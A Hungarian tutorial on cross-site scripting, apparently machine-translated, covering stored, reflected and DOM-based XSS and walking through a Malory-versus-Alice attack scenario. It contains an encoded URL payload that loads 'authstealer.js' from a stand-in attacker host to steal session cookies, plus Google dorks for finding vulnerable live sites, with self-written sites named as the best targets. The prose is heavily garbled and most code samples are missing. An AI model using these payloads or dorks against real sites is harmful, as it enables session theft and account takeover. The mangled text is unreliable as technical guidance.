XSS támadási képzés. XSS biztonsági rés - mi az? Példák az XSS sebezhetőségekre. Adatok töltött formákból
Az Intersype Scripting (XSS) olyan sebezhetőség, amely az ügyféloldalon (JavaScript) végrehajtható kód végrehajtható a weboldalon, amelyet más felhasználók hoznak létre.
A sérülékenység az elégtelen adatszűrés miatt keletkezik, amelyet a felhasználó a weboldal behelyezésére küld. Sokkal könnyebb megérteni konkrét példa. Emlékezzen vendégkönyv - Ezek olyan programok, amelyek célja a felhasználó adatai és az azt követő kijelző. Képzeld el, hogy a vendégkönyv semmilyen módon nem ellenőrzi, és nem szűri be az adatokat, de egyszerűen megjeleníti őket.
Lehet, hogy a sajátját egyszerűbb szkript (Semmi sem könnyebb, mint a rossz szkriptek írása a PHP-en - Ez nagyon részt vesz ebben). De vannak rengeteg készenléti lehetőség. Például azt javasolom, hogy megismerjem a Dojo és az Owasp Mutillidae II-t. Hasonló példa van. Az önálló Dojo környezetben keresse fel a böngészőt referenciaként: http: //localhost/mutillidae/index.php? Oldal \u003d add-to-blog.php
Ha valaki a felhasználók által megadott:
Ez a weblap megjelenik:
Hé! Mint a webhelyed.
És ha a felhasználó belép:
Hé! Mint a webhelyed.
Ez így jelenik meg:
A böngészők megtartják a cookie-kat nagyszámú webhelyek. Minden webhely csak megmenti a cookie-kat. Például a példa.com weboldal megőrizte a böngészőben lévő cookie-kat. Te vagy az összeomlás a másik.com webhelyére, ez az oldal (kliens és kiszolgálói szkriptek) nem férhet hozzá a cookie-khoz, hogy a példa.com webhely mentett.
Ha a webhely példája.com sérülékeny az XSS-hez, akkor ez azt jelenti, hogy egy vagy más módon tudunk megvalósítani a JavaScript-kódot, és ezt a kódot a webhely példány nevében fogják végrehajtani! Azok. Ez a kód megkapja például a Cookis Site example.com eléréséhez.
Azt hiszem, mindenki emlékszik arra, hogy a JavaScript végrehajtásra kerül a felhasználói böngészőkben, azaz. XSS jelenlétével, beágyazva rosszindulatú kód Hozzáférést kap a webhely oldalt megnyitott felhasználói adatokhoz.
A beágyazott kód képes arra, hogy a JavaScript, nevezetesen:
- hozzáférés a megtekintett webhely cookie-khez
- változhat megjelenés oldalak
- hozzáférés az Exchange pufferhez
- megvalósíthatja a JavaScript programokat, például Ki-loggers-t (nyomva tartott kulcsos interceptorok)
- Érintse meg a marhahúsra.
- satöbbi.
A legegyszerűbb példa Cookiz segítségével:
Tulajdonképpen, Éber. Csak az XSS kimutatására használják. Real Malware Payloads rejtett műveletek. A rejtett kötődés egy távoli betolakodó kiszolgálóhoz kötődik, és ellopott adatokat továbbít.
XSS típusok.
A legfontosabb dolog az, hogy meg kell értened az XSS-ek típusát:
- Tárolt (állandó)
- Tükröződik (nem állandó)
Például állandó:
- A támadó bemutatott egy speciálisan kialakított üzenetet a vendégkönyvbe (megjegyzés, fórumüzenet, profil), amely a kiszolgálón tárolt, a szerverről betöltve minden alkalommal, amikor a felhasználók kérik az oldal megjelenítését.
- A támadó hozzáférést kapott a kiszolgálóadatokhoz, például SQL injekción keresztül, és bevezette a felhasználónak nevezett adatokat a rosszindulatú JavaScript-kód (ki-loggerekkel vagy marhahússal).
A nem állandó minta:
- A webhely keresése van, amely a keresési eredmények mellett valami ilyesmit mutat, mint "keresett: [Keresési karakterlánc]", míg az adatok nem szűrtek megfelelően. Mivel egy ilyen oldal csak annak érdekében jelenik meg, hogy kapcsolatba léphessen, míg a támadó nem fogja elküldeni a linket a webhely többi felhasználójához, a támadás nem fog működni. Az áldozatra való hivatkozás helyett egy rosszindulatú szkript elhelyezését használhatja az áldozatot meglátogató semleges helyszínen.
Még mindig kiemelkedik (néhány fajta nem állandó XSS sebezhetőség, néhányan azt mondják, hogy ez a faj lehet számos konstans XSS):
- Dom modell
A DOM-on alapuló XSS-ek
Ha teljesen egyszerű, a "rendes" nem állandó XS-ek rosszindulatú kódja látható, ha megnyitja a HTML-kódot. Például a link így alakul:
Http://example.com/search.php?q\u003d "/\u003e
És az eredeti HTML-kód megnyitásakor valami ilyesmit látunk:
És DOM XSS megváltoztatja a DOM szerkezet alakul ki a böngésző menet közben, és találja meg a kártékony kódot csak akkor tudjuk, ha megtekinti a formázott DOM szerkezet. A HTML nem változik. Vegyük ezt a kódot például:
Hogy a böngészőben látni fogjuk:
Az oldal forráskódja:
A címet a következőképpen alakítsuk ki:
Http: //localhost/tests/xss/dom_xss.html#input\u003dtokenalex.;
Most az oldal így néz ki:
De nézzük meg forrás HTML:
Teljesen semmi megváltozott. Erről szóltam, azt mondtam, meg kell néznünk a DOM struktúra dokumentumot a rosszindulatú kód azonosításához:
Itt van egy olyan munka prototípus XSS, mert egy igazi támadásra van szükségünk egy bonyolultabb hasznos teher, amely lehetetlen, hogy az alkalmazás megállítja az olvasást közvetlenül egy vesszővel, és valami ilyesmi riasztás (1); riasztás (2) Már nem lehetséges. Azonban köszönhetően uNESCAPE () A Visszatérett adatokban használhatjuk az ilyen hasznos terhelést:
Http: //localhost/tests/xss/dom_xss.html#input\u003dtokenalex.;
Ahol kicseréltük a szimbólumot ; Az URI-ban lévő egyenértékű kódoláson!
Most levelet malware JavaScript, és egy linket küld az áldozat, mint ahogyan azt a hagyományos, nem állandó script.
XSS Auditor
BAN BEN Google Chrome. (Amellett, hogy az Opera-ban, amely most használja a Google Chrome-motort), vártam egy ilyen meglepetésre:
dom_xss.html: 30 Az XSS-könyvvizsgáló megtagadta a parancsfájl végrehajtását "http: //localhost/tests/xss/dom_xss.html#input\u003dtoken \u003cscript\u003e riasztás (1); „Mert a forráskód volt kimutatható a kérést. A könyvvizsgáló engedélyezve Mivel a szerver nem küldött sem” X-XSS-Protection „NOR” Content-biztonsági szabályok „fejlécet.
Azok. Most a böngészőben van egy XSS könyvvizsgáló, aki megpróbálja megakadályozni az XSS-t. Nincs ilyen funkcionalitás a Firefoxban, de azt hiszem, ez idő kérdése. Ha a böngészők végrehajtása sikeres lesz, akkor az XSS használatának jelentős nehézségeiről beszélhetünk.
Hasznos emlékezni erre modern böngészők Tegyen lépéseket, hogy korlátozza a problémák működésének szintjét, mint a nem állandó XSS, és a DOM XSS alapján. Beleértve azt kell emlékezni, amikor tesztelés weboldalak böngészőt használ - az is lehet, hogy a webes alkalmazás sebezhető, de nem jelenik meg a pop-up visszaigazolást az oka, hogy a böngésző blokkolja azt.
Példák az XSS kiaknázására.
Az intersiteit scripting sebezhetőségeket szándékozó malefactereknek különböző módon kell megközelíteniük a sebezhetőségek osztályát. Itt ismertetik az egyes osztályok támadási vektorát.
Az XSS sebezhetőségekkel a marhahús a támadásokban használható, amely kiterjeszti a támadást a weboldalról a felhasználók helyi környezetére.
Példa támadás nem állandó XSS-vel
1. Alice gyakran meglátogat egy olyan konkrét weboldalt, amely Bob-ot fogad. A BOB weboldal lehetővé teszi Alice számára, hogy bejelentkezzen a felhasználó / jelszó név és mentse az érzékeny adatokat, például a fizetési információkat. Amikor a felhasználói beviteli, a böngésző megtartja az engedélyezési cookie-kat, amelyek értelmetlen karaktereket néznek ki, azaz. Mindkét számítógép (ügyfél és szerver) emlékszik arra, hogy megadta.
2. A Malories megjegyzi, hogy a BOB weboldal nem állandó XSS biztonsági rést tartalmaz:
2.1 A keresési oldal meglátogatásakor egy sort keresünk, és kattintson a Küldés gombra, ha az eredmények nem találhatók, az oldal megjeleníti a megadott keresési karakterláncot, majd a "nem található" és az URL http://bobssite.org?q\u003dyu keresési lekérdezés
2.2 normál keresési lekérdezéssel, mint a szó " kutyaszerű»Az oldal egyszerűen megjelenik a" kutyaszerű Nem található "és url http://bobssite.org?q\u003d kutyaszerűMi a normális viselkedés.
2.3 Mindazonáltal, ha rendellenes keresési lekérdezést küld a kereséshez :
2.3.1 Megjelenik egy figyelmeztető üzenet (amely azt mondja: "XSS").
2.3.2 oldal kijelzők nem található Egy hibaüzenetgel együtt az "XSS" szöveggel.
2.3.3 URL A működéshez alkalmas URL http://bobssite.org?q\u003d.
3. A Malories megtervezi az URL-t a biztonsági rés működéséhez:
3.1 URL-t csinál http://bobssite.org?q\u003dpuppies. . Kiválaszthatja, hogy az ASCII karaktereket hexadecimális formátumban konvertálja, például http://bobssite.org?q\u003dpuppies%3Cscript%2520src%3d%22http%3a%2f%2fmalorysevilsite.com%2fauthstealer.js%22%3E. Annak érdekében, hogy az emberek azonnal megfejtsük a rosszindulatú URL-t.
3.2 E-mail küld egy e-mailt a bob néhány gyanútlan tagjának, mondván: "Nézze meg a hűvös kutyákat."
4. Alice levelet kap. Szereti a kutyákat és kattint a linkre. Ő megy a webhely Bob a keresésben, nem talál semmit, ott jeleníti meg a "kutyák nem található", és a címke közepén a címke elindul egy szkript (láthatatlan a képernyőn), terheli és végrehajtja a Malory authstealer.js programot (XSS támadás). Alice elfelejti.
5. Authstealer.js program az Alice böngészőben kezdődik, mintha a forrás a BOB honlapja. Elfogadja az Alice engedélyezési cookie-k példányát, és elküldi a Malory kiszolgálót, ahol a Malóriák eltávolítják őket.
7. Most, hogy a malóriák belsejében, a honlap honlapjára kerül, úgy néz ki és lopja meg az Alice hitelkártya számának másolatát. Aztán megy, és megváltoztatja a jelszót, azaz Most Alice nem is mehet.
8. úgy dönt, hogy a következő lépést, és utaljon Bobra hasonlóképpen hasonlóan, és így megkapja a BOB webhely adminisztratív jogosultságát.
Támadás állandó XSS-vel
- A Malories fiókja van a Bob oldalon.
- A malory megjegyzi, hogy a BOB weboldal állandó XSS biztonsági rést tartalmaz. Ha megy Új szakasz, Helyezzen meg egy megjegyzést, majd megjeleníti azt, hogy nem lesz kinyomtatva. De ha a megjegyzésszöveg HTML-címkéket tartalmaz, ezek a címkék megjelennek, mint az, és bármilyen szkript címkék elindulnak.
- A Malyor egy cikket olvas a hírek szakaszában, és megjegyzést ír a Megjegyzések részben. A megjegyzésben beilleszti a szöveget:
- Ebben a történetben annyira tetszett a kutyák. Olyan szépek!
- Amikor Alice (vagy bárki más) letölti az oldalt ezzel a kommentárral, a Malory Script tag elindul és ellopja az Alice engedélyezési szakácsjait, malárt küld a titkos kiszolgálónak, hogy összegyűjtse.
- Malóriák most elfoghatják az Alice ülésszakot, és Alice-t adhatnak maguknak.
Az XSS-hez sebezhető keresési oldalak
Dorki XSS-hez.
Az első lépés az a helyek kiválasztása, amelyeken XSS támadást végezünk. A webhelyeket a Google Dorkov segítségével lehet aláírni. Íme ezek a távolságok, amelyek másolják és illeszkednek a Google Keresésben:
- inurl: search.php? q \u003d
- inurl: .php? q \u003d
- inurl: search.php.
- inurl: .php? Keresés \u003d
Előttünk megnyitja a webhelyek listáját. Meg kell nyitnia a webhelyet, és keresnie kell a bemeneti mezőket, például a visszajelzési űrlapot, a bemeneti űrlapot, a webhelykeresést stb.
Azonnal megjegyzem, hogy szinte haszontalan, hogy megtalálja a kiszolgáltatásokat a népszerű automatikusan frissített webes alkalmazásokban. Az ilyen alkalmazás klasszikus példája a WordPress. Valójában a WordPress sebezhetőségei, és különösen a bővítményekben vannak. Ráadásul sok olyan webhely van, amelyek nem frissülnek wordpress motor (Ami azt a ténynek köszönhető, hogy a webmester megváltoztatta a forráskódot), sem pluginok és témák (szabályként ezek a kalóz pluginok és témák). De ha elolvassa ezt a részt, és felismeri valamit az újból, akkor a WordPress még nem az Ön számára ... Határozottan visszatérek később.
A legjobb célok különböző saját írásos motorok és szkriptek.
A behelyezéshez hasznos teherként választhat
Figyeljen arra, hogy a HTML-kód kódjai lehessenek a beágyazott kódot. Itt van egy példa egy tipikus mezőbeviteli mezőre ( bemenet):
A Payload mi lesz, ahol a "Párnahuzat" szó most van. Azok. kapcsolja be a címkét bemenet. Ezt elkerülhetjük - zárjuk le a kettős idézetet, majd maga a címkét "/>
"/>
Próbáljuk meg néhány webhelyre:
Kiváló sebezhetőség
A keresési programok és az XSS biztonsági rése
Valószínűleg minden webes alkalmazás szkennernek beépített XSS biztonsági reszelővel rendelkezik. Ez a téma awkhanging, jobb, ha minden ilyen szkennerrel megismerkedhetnek.
A site scripting (rövidített XSS) széles körű sebezhetőség, amely számos webes alkalmazást érint. Lehetővé teszi a támadó számára, hogy rosszindulatú kódot valósítson meg egy webhelybe, oly módon, hogy a webhelyre belépő felhasználói böngésző végrehajtja ezt a kódot.
Általában bizonyos kölcsönhatás szükséges a felhasználónak a biztonsági rés működtetéséhez: Vagy a fertőzött helyszínen fertőzött területen csábít, vagy csak várakozik, amíg ő maga látogatja meg ezt az oldalt. Ezért a fejlesztők gyakran nem érzékelik a komolyan XSS-sebezhetőséget.
De ha nem megszűnnek, akkor komoly biztonsági fenyegetés lehet.
Képzeld el, hogy a WordPress admin panelen vagyunk, új tartalmat adunk hozzá. Ha az XSS-hez sebezhető plugint használunk, akkor a böngésző új adminisztrátort hozhat létre, módosíthatja a tartalmat, és módosíthatja más rosszindulatú akciókat. A site scripting a támadót szinte teljes irányítással biztosítja a legfontosabb szoftver Napjainkban - böngésző.
XSS: Injekciós sérülékenység
Bármely webhely vagy alkalmazásnak számos adatbeviteli oldala van - az URL-nek. A bemeneti adatok legegyszerűbb példája, amikor megadjuk a felhasználónevet és a jelszót:
A nevünket a webhely adatbázisában tárolja a későbbi interakcióhoz. Bizonyára, amikor bármely webhelyen engedélyeztél, személyes üdvözlést láttál a "Welcome, Ilya" stílusában.
Olyan célokra, hogy a felhasználóneveket az adatbázisban tárolja.
Az injekciót olyan névnek nevezzük, amikor egy név vagy jelszó helyett egy speciális szimbólumszekvencia, amely a kiszolgálót vagy a böngészőt biztosítja, a kívánt támadót beírja.
Az Intersight parancsfájlt olyan injekciónak nevezik, amely olyan kódot valósít meg, amely a weboldal nevében a böngészőben lépéseket hajt végre. Mind a felhasználói értesítéssel is előfordulhat háttér mód, tudása nélkül.
Hagyományos XSS támadások:
Visszavert (nem állandó).
A visszavert XSS támadás akkor indul ki, amikor a felhasználó egy speciálisan elkészített linkre kerül.
Ezek a biztonsági rések jelennek meg, ha a szolgáltatott adatokat a web kliens leggyakrabban a HTTP lekérdezés paramétereit formájában vagy HTML hajtják végre közvetlenül kiszolgáló szkripteket szintaktikai elemzés és az eredmények megjelenítése oldal ezen ügyfél, nem megfelelő feldolgozás.
Tárolt (állandó).
A tárolt XSS akkor lehetséges, ha a támadó sikerül bevezetni a rosszindulatú kódot a kiszolgálón futó, a böngésző minden alkalommal, amikor betekintés az eredeti oldalra. A sérülékenység klasszikus példája olyan fórumok, amelyeken HTML formátumú megjegyzéseket hagyhat.
Az ügyféloldali kód által okozott sérülékenységek (JavaScript, Visual Basic, Flash stb.):
DOM modellekként is ismert:
Visszavert (nem állandó).
Ugyanaz, mint a szerver oldalán, csak ebben az esetben a támadás lehetséges, mivel a kódot a böngésző feldolgozza.
Tárolt (állandó).
Az XSS tárolásához hasonlóan a kiszolgáló oldalán, csak ebben az esetben a rosszindulatú összetevőt az ügyféloldalon tárolja a böngésző tárolásával.
Példák az XSS sebezhetőségekre.
Érdekes módon, a legtöbb esetben ezt a biztonsági rést leírják, a következő kóddal megijedtünk:
Http://www.site.com/page.php?var \u003d
Kétféle XSS sebezhetőség létezik - passzív és aktív.
Aktív sebezhetőség Veszélyesebb, mivel a támadónak nem kell egy speciális linkre való áldozatot csalogatnia, elegendő ahhoz, hogy a kódot a kiszolgálóra vagy valamilyen fájlba vezesse. Így a webhely minden látogatója automatikusan áldozatává válik. Beépíthető például az SQL kód (SQL injekció) beágyazásával. Ezért ne bízzon az adatbázisban tárolt adatokban, még akkor is, ha az általuk feldolgozott betétben is.
Példa passzív sebezhetőség A cikk kezdetén láthatod. Vannak már social engineering, például egy fontos levelet az oldal adminisztrációs arra kéri, hogy ellenőrizze a beállításokat a fiók, felépülés után a mentés. Ennek megfelelően meg kell tudni a címét az áldozat, vagy egyszerűen gondoskodjon a spam hírlevelet, vagy tegyen egy post egy fórum, és nem az a tény, hogy az áldozatok lesznek naiv, és menjen a link.
Ráadásul a passzív sebezhetőségek mind a posta, mind a paraméterek hatálya alá tartozhatnak. A paraméterekkel meg fogják érteni, akkor trükkökre kell menned. Például átirányítás az intruder webhelyről.